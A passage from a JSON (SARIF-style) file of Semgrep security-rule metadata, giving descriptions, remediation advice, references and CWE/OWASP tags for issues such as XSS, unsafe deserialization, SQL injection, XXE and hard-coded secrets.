prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint","id":"go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint","name":"go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`flask.render_template`) which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`flask.render_template`) which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.raw-html-concat.raw-html-format)\n - [https://flask.palletsprojects.com/en/2.0.x/security/#cross-site-scripting-xss](https://flask.palletsprojects.com/en/2.0.x/security/#cross-site-scripting-xss)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`flask.render_template`) which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.raw-html-concat.raw-html-format","id":"python.flask.security.injection.raw-html-concat.raw-html-format","name":"python.flask.security.injection.raw-html-concat.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.raw-html-concat.raw-html-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask","id":"python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask","name":"python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, AWS DynamoDB Table is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your data in the DynamoDB table. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, AWS DynamoDB Table is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your data in the DynamoDB table. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"By default, AWS DynamoDB Table is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your data in the DynamoDB table. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted","id":"terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted","name":"terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.diesel-taint.diesel-taint)\n - [https://docs.rs/diesel/latest/diesel/](https://docs.rs/diesel/latest/diesel/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.diesel-taint.diesel-taint","id":"rust.rocket.sql.diesel-taint.diesel-taint","name":"rust.rocket.sql.diesel-taint.diesel-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.diesel-taint.diesel-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-refs-url.react-refs-url)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.react.react-refs-url.react-refs-url","id":"typescript.react.react-refs-url.react-refs-url","name":"typescript.react.react-refs-url.react-refs-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-refs-url.react-refs-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Debug logging is explicitly enabled. This can potentially disclose sensitive information and should never be active on production systems."},"help":{"markdown":"Debug logging is explicitly enabled. This can potentially disclose sensitive information and should never be active on production systems.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.search-active-debug.search-active-debug)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"Debug logging is explicitly enabled. This can potentially disclose sensitive information and should never be active on production systems."},"helpUri":"https://semgrep.dev/r/php.lang.security.search-active-debug.search-active-debug","id":"php.lang.security.search-active-debug.search-active-debug","name":"php.lang.security.search-active-debug.search-active-debug","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.search-active-debug.search-active-debug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection","id":"javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection","name":"javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"help":{"markdown":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size)\n - [https://www.pycryptodome.org/src/public_key/dsa](https://www.pycryptodome.org/src/public_key/dsa)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf)\n","text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size","id":"python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size","name":"python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This `std::string_view` is constructed from a temporary `std::string`. The `std::string` value is immeadiately destroyed after assignment and accessing data through the `std::string_view` will trigger a use-after-free."},"help":{"markdown":"This `std::string_view` is constructed from a temporary `std::string`. The `std::string` value is immeadiately destroyed after assignment and accessing data through the `std::string_view` will trigger a use-after-free.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory)\n","text":"This `std::string_view` is constructed from a temporary `std::string`. The `std::string` value is immeadiately destroyed after assignment and accessing data through the `std::string_view` will trigger a use-after-free."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string","id":"cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string","name":"cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected potential code injection using ScriptEngine. Ensure user-controlled data cannot enter '.eval()', otherwise, this is a code injection vulnerability."},"help":{"markdown":"Detected potential code injection using ScriptEngine. Ensure user-controlled data cannot enter '.eval()', otherwise, this is a code injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.script-engine-injection.script-engine-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected potential code injection using ScriptEngine. Ensure user-controlled data cannot enter '.eval()', otherwise, this is a code injection vulnerability."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.script-engine-injection.script-engine-injection","id":"java.lang.security.audit.script-engine-injection.script-engine-injection","name":"java.lang.security.audit.script-engine-injection.script-engine-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.script-engine-injection.script-engine-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags","id":"php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags","name":"php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Calling `$WG.Wait()` inside a loop blocks the call to `$WG.Done()`"},"help":{"markdown":"Calling `$WG.Wait()` inside a loop blocks the call to `$WG.Done()`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop)\n - [https://go101.org/article/concurrent-common-mistakes.html](https://go101.org/article/concurrent-common-mistakes.html)\n","text":"Calling `$WG.Wait()` inside a loop blocks the call to `$WG.Done()`"},"helpUri":"https://semgrep.dev/r/trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop","id":"trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop","name":"trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible writing outside of the destination, make sure that the target path is nested in the intended destination"},"help":{"markdown":"Possible writing outside of the destination, make sure that the target path is nested in the intended destination\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Possible writing outside of the destination, make sure that the target path is nested in the intended destination"},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal","id":"javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal","name":"javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"help":{"markdown":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request)\n - [https://ruby-doc.org/stdlib-2.6.5/libdoc/net/http/rdoc/Net/](https://ruby-doc.org/stdlib-2.6.5/libdoc/net/http/rdoc/Net/)\n","text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask","id":"python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask","name":"python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Key generation routines were identified where the resultant keys are not stored protected by the Secure Enclave. On iOS/macOS systems, cryptographic keys can be generated within the Secure Enclave - making them inaccessible to the rest of the system. The keys can be used for operations (signing, decryption, etc) but the private keys cannot be dumped or copied - even on rooted/jailbroken systems."},"help":{"markdown":"Key generation routines were identified where the resultant keys are not stored protected by the Secure Enclave. On iOS/macOS systems, cryptographic keys can be generated within the Secure Enclave - making them inaccessible to the rest of the system. The keys can be used for operations (signing, decryption, etc) but the private keys cannot be dumped or copied - even on rooted/jailbroken systems.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"Key generation routines were identified where the resultant keys are not stored protected by the Secure Enclave. On iOS/macOS systems, cryptographic keys can be generated within the Secure Enclave - making them inaccessible to the rest of the system. The keys can be used for operations (signing, decryption, etc) but the private keys cannot be dumped or copied - even on rooted/jailbroken systems."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage","id":"swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage","name":"swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage","properties":{"precision":"very-high","tags":["CWE-922: Insecure Storage of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret","id":"go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret","name":"go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The ECR Repository isn't configured to scan images on push"},"help":{"markdown":"The ECR Repository isn't configured to scan images on push\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push)\n - [https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components)\n","text":"The ECR Repository isn't configured to scan images on 